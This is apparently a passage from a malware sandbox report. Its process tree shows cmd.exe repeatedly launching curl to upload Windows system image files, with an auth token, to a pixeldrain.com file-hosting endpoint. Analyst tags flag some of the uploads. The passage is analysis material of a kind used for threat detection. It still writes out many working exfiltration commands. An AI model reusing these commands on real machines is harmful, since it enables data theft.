    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Holographic.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Holographic.png-07-11-2026--13.56.27.png
    3⤵
    PID:2708
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Lock.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Lock.png-07-11-2026--13.56.27.png
  2⤵
  PID:2868
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Lock.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Lock.png-07-11-2026--13.56.27.png
    3⤵
    PID:5920
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Personalize.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Personalize.png-07-11-2026--13.56.28.png
  2⤵
  PID:2768
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.Personalize.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.Personalize.png-07-11-2026--13.56.28.png
    3⤵
    PID:4392
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.phone.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.phone.png-07-11-2026--13.56.28.png
  2⤵
  PID:3388
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.phone.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.phone.png-07-11-2026--13.56.28.png
    3⤵
    PID:5316
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.System.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.System.png-07-11-2026--13.56.28.png
  2⤵
  PID:4604
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.System.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.System.png-07-11-2026--13.56.28.png
    3⤵
    PID:5036
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.TimeLanguage.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.TimeLanguage.png-07-11-2026--13.56.28.png
  2⤵
  PID:4356
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4652
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.TimeLanguage.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.TimeLanguage.png-07-11-2026--13.56.28.png
    3⤵
    PID:5740
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.UpdateRestore.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.UpdateRestore.png-07-11-2026--13.56.29.png
  2⤵
  PID:6032
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\ImmersiveControlPanel\images\wide.UpdateRestore.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-ImmersiveControlPanel-images-wide.UpdateRestore.png-07-11-2026--13.56.29.png
    3⤵
    PID:2760
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\Bthprops\@BthpropsNotificationLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-Bthprops-@BthpropsNotificationLogo.png-07-11-2026--13.56.29.png
  2⤵
  PID:200
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\System32\Bthprops\@BthpropsNotificationLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-System32-Bthprops-@BthpropsNotificationLogo.png-07-11-2026--13.56.29.png
    3⤵
    PID:2296
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SystemApps\Microsoft.UI.Xaml.CBS_8wekyb3d8bbwe\logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SystemApps-Microsoft.UI.Xaml.CBS_8wekyb3d8bbwe-logo.png-07-11-2026--13.56.29.png
  2⤵
  PID:404
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SystemApps\Microsoft.UI.Xaml.CBS_8wekyb3d8bbwe\logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SystemApps-Microsoft.UI.Xaml.CBS_8wekyb3d8bbwe-logo.png-07-11-2026--13.56.29.png
    3⤵
    PID:716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SystemApps\Microsoft.Windows.AugLoop.CBS_8wekyb3d8bbwe\logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SystemApps-Microsoft.Windows.AugLoop.CBS_8wekyb3d8bbwe-logo.png-07-11-2026--13.56.30.png
  2⤵
  PID:4780
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SystemApps\Microsoft.Windows.AugLoop.CBS_8wekyb3d8bbwe\logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SystemApps-Microsoft.Windows.AugLoop.CBS_8wekyb3d8bbwe-logo.png-07-11-2026--13.56.30.png
    3⤵
    PID:3472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SystemApps\Microsoft.WindowsAppRuntime.CBS_8wekyb3d8bbwe\WindowsAppRuntime.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SystemApps-Microsoft.WindowsAppRuntime.CBS_8wekyb3d8bbwe-WindowsAppRuntime.png-07-11-2026--13.56.30.png
  2⤵
  PID:4668
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SystemApps\Microsoft.WindowsAppRuntime.CBS_8wekyb3d8bbwe\WindowsAppRuntime.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SystemApps-Microsoft.WindowsAppRuntime.CBS_8wekyb3d8bbwe-WindowsAppRuntime.png-07-11-2026--13.56.30.png
    3⤵
    PID:3380
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\Bthprops\@BthpropsNotificationLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-Bthprops-@BthpropsNotificationLogo.png-07-11-2026--13.56.30.png
  2⤵
  PID:4840
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\SysWOW64\Bthprops\@BthpropsNotificationLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-SysWOW64-Bthprops-@BthpropsNotificationLogo.png-07-11-2026--13.56.30.png
    3⤵
    PID:5020
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\OkDone_80.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-OkDone_80.contrast-black.png-07-11-2026--13.56.30.png
  2⤵
  PID:2172
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\OkDone_80.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-OkDone_80.contrast-black.png-07-11-2026--13.56.30.png
    3⤵
    PID:4692
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\OkDone_80.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-OkDone_80.contrast-white.png-07-11-2026--13.56.31.png
  2⤵
  PID:5564
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\OkDone_80.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-OkDone_80.contrast-white.png-07-11-2026--13.56.31.png
    3⤵
    - Badlisted process makes network request
    PID:3908
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\OkDone_80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-OkDone_80.png-07-11-2026--13.56.31.png
  2⤵
  PID:4248
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\OkDone_80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-OkDone_80.png-07-11-2026--13.56.31.png
    3⤵
    PID:1208
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\RestartNowPower_80.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-RestartNowPower_80.contrast-black.png-07-11-2026--13.56.31.png
  2⤵
  PID:1448
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\RestartNowPower_80.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-RestartNowPower_80.contrast-black.png-07-11-2026--13.56.31.png
    3⤵
    PID:3328
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\RestartNowPower_80.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-RestartNowPower_80.contrast-white.png-07-11-2026--13.56.32.png
  2⤵
  PID:5244
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\RestartNowPower_80.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-RestartNowPower_80.contrast-white.png-07-11-2026--13.56.32.png
    3⤵
    - Badlisted process makes network request
    PID:5096
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\RestartNowPower_80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-RestartNowPower_80.png-07-11-2026--13.56.32.png
  2⤵
  PID:2252
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\RestartNowPower_80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-RestartNowPower_80.png-07-11-2026--13.56.32.png
    3⤵
    - Badlisted process makes network request
    PID:2156
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\RestartTonight_80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-RestartTonight_80.png-07-11-2026--13.56.32.png
  2⤵
  PID:3556
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\RestartTonight_80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-RestartTonight_80.png-07-11-2026--13.56.32.png
    3⤵
    - Badlisted process makes network request
    PID:4728
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\RestartTonight_80_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-RestartTonight_80_contrast-black.png-07-11-2026--13.56.32.png
  2⤵
  PID:3364
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\RestartTonight_80_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-RestartTonight_80_contrast-black.png-07-11-2026--13.56.32.png
    3⤵
    PID:424
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\RestartTonight_80_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-RestartTonight_80_contrast-white.png-07-11-2026--13.56.33.png
  2⤵
  PID:6056
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\RestartTonight_80_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-RestartTonight_80_contrast-white.png-07-11-2026--13.56.33.png
    3⤵
    - Badlisted process makes network request
    PID:1520
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\ScheduleTime_80.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-ScheduleTime_80.contrast-black.png-07-11-2026--13.56.33.png
  2⤵
  PID:2860
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\ScheduleTime_80.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-ScheduleTime_80.contrast-black.png-07-11-2026--13.56.33.png
    3⤵
    - Badlisted process makes network request
    PID:1420
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\ScheduleTime_80.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-ScheduleTime_80.contrast-white.png-07-11-2026--13.56.33.png
  2⤵
  PID:3664
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\ScheduleTime_80.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-ScheduleTime_80.contrast-white.png-07-11-2026--13.56.33.png
    3⤵
    PID:4192
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\ScheduleTime_80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-ScheduleTime_80.png-07-11-2026--13.56.33.png
  2⤵
  PID:5856
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\ScheduleTime_80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-ScheduleTime_80.png-07-11-2026--13.56.33.png
    3⤵
    - Badlisted process makes network request
    - System Location Discovery: System Language Discovery
    PID:6052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\Snooze_80.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-Snooze_80.contrast-black.png-07-11-2026--13.56.34.png
  2⤵
  PID:1644
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\Snooze_80.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-Snooze_80.contrast-black.png-07-11-2026--13.56.34.png
    3⤵
    PID:5920
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\Snooze_80.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-Snooze_80.contrast-white.png-07-11-2026--13.56.34.png
  2⤵
  - Executes a command shell one-liner
  PID:1104
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\Snooze_80.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-Snooze_80.contrast-white.png-07-11-2026--13.56.34.png
    3⤵
    PID:4120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\Snooze_80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-Snooze_80.png-07-11-2026--13.56.34.png
  2⤵
  PID:5912
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5956
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\Snooze_80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-Snooze_80.png-07-11-2026--13.56.34.png
    3⤵
    - Badlisted process makes network request
    PID:4744
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\WcosPowerIcon_100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-WcosPowerIcon_100.png-07-11-2026--13.56.34.png
  2⤵
  PID:1704
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\WcosPowerIcon_100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-WcosPowerIcon_100.png-07-11-2026--13.56.34.png
    3⤵
    PID:6028
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\WcosPowerIcon_100_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-WcosPowerIcon_100_contrast-black.png-07-11-2026--13.56.35.png
  2⤵
  PID:1800
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\WcosPowerIcon_100_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-WcosPowerIcon_100_contrast-black.png-07-11-2026--13.56.35.png
    3⤵
    - Badlisted process makes network request
    PID:760
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\WcosPowerIcon_100_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-WcosPowerIcon_100_contrast-white.png-07-11-2026--13.56.35.png
  2⤵
  PID:4332
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\WcosPowerIcon_100_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-WcosPowerIcon_100_contrast-white.png-07-11-2026--13.56.35.png
    3⤵
    PID:3828
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\X_80.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-X_80.contrast-black.png-07-11-2026--13.56.35.png
  2⤵
  PID:6124
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5984
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\X_80.contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-X_80.contrast-black.png-07-11-2026--13.56.35.png
    3⤵
    PID:3536
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\X_80.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-X_80.contrast-white.png-07-11-2026--13.56.35.png
  2⤵
  PID:3184
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\X_80.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-X_80.contrast-white.png-07-11-2026--13.56.35.png
    3⤵
    PID:2816
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\X_80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-X_80.png-07-11-2026--13.56.36.png
  2⤵
  PID:5440
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\UUS\amd64\X_80.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-UUS-amd64-X_80.png-07-11-2026--13.56.36.png
    3⤵
    PID:5080
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-100.png-07-11-2026--13.56.36.png
  2⤵
  PID:5092
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-100.png-07-11-2026--13.56.36.png
    3⤵
    PID:3656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-100_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-100_contrast-black.png-07-11-2026--13.56.36.png
  2⤵
  PID:5944
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-100_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-100_contrast-black.png-07-11-2026--13.56.36.png
    3⤵
    PID:5020
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-100_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-100_contrast-white.png-07-11-2026--13.56.37.png
  2⤵
  PID:5872
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4256
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-100_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-100_contrast-white.png-07-11-2026--13.56.37.png
    3⤵
    PID:4832
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-125.png-07-11-2026--13.56.37.png
  2⤵
  PID:1916
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4644
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-125.png-07-11-2026--13.56.37.png
    3⤵
    - Badlisted process makes network request
    PID:3908
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae\ShieldSquare44x44Logo.scale-125_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecore-c..ager-systemprovider_31bf3856ad364e35_10.0.26100.1_none_9953c09f4cc043ae-ShieldSquare44x44Logo.scale-125_contrast-black.png-07-11-2026--13.56.37.png
  2⤵
  PID:1600
- - C:\Windows\SysWOW64\curl.exe
